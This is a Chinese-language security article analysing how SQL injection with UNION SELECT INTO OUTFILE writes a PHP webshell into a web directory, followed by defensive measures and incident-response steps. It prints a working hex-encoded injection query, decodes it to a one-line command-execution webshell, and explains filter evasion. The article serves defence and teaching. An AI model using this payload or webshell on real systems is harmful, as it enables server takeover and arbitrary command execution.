首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫

資安警示:MySQL SQL 注入寫入 Webshell 手法分析與防護

     編輯:MySQL 資料庫相關知識

攻擊手法原理

攻擊者透過 SQL 注入或 phpMyAdmin 直接執行惡意 SQL,利用 UNION SELECT 搭配 INTO OUTFILE 將 PHP Webshell 寫入 Web 目錄。

攻擊 SQL 範例

SELECT * FROM vbb_strikes WHERE 1 
UNION SELECT 2, 3, 0x3C3F7068702073797374656D28245F524551554553545B636D645D293B3F3E 
FROM vbb_strikes 
INTO OUTFILE 'c:/inetpub/wwwroot/cmd.php'

關鍵解碼

十六進位 0x3C3F7068702073797374656D28245F524551554553545B636D645D293B3F3E 解碼為:

<?php system($_REQUEST['cmd']); ?>

攻擊者可透過 https://target/cmd.php?cmd=dir+c:\ 執行任意系統指令。

為何用十六進位編碼?

  • 繞過引號過濾、關鍵字過濾
  • 不同 SQL 版本對特殊字元編碼處理不同,十六進位相容性最好
  • UltraEdit Ctrl+H 可快速轉換

成功條件

  1. MySQL 帳號擁有 FILE 權限 (可執行 INTO OUTFILE)
  2. Web 目錄路徑可預測或洩露
  3. MySQL 進程對 Web 目錄有寫入權限
  4. secure_file_priv 未限制或設定不當 (MySQL 5.5.53+ 預設限制)

防護對策

層面措施
資料庫權限嚴格控管 FILE 權限,僅備份帳號擁有;應用帳號僅 SELECT/INSERT/UPDATE/DELETE
MySQL 設定設定 secure_file_priv = /tmp/ 限制匯出路徑;啟用 local_infile=0
應用程式全面使用參數化查詢/預處理語句;嚴格驗證輸入;錯誤訊息不回顯 SQL 細節
檔案系統Web 目錄不可寫入執行檔;上傳目錄禁用腳本執行權限
網路層WAF 攔截 UNION SELECT INTO OUTFILE 特徵;資料庫不直接對外開放
監控審計審計日誌記錄所有 INTO OUTFILE、LOAD DATA 操作;異常檔案建立告警

應急處理

  1. 發現可疑 .php/.jsp/.asp 檔案立即隔離刪除
  2. 檢查 mysql.user 是否有異常 FILE 權限帳號
  3. 檢視錯誤日誌、慢查詢日誌尋找注入痕跡
  4. 修補應用程式注入漏洞
  5. 輪換所有資料庫密碼
  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved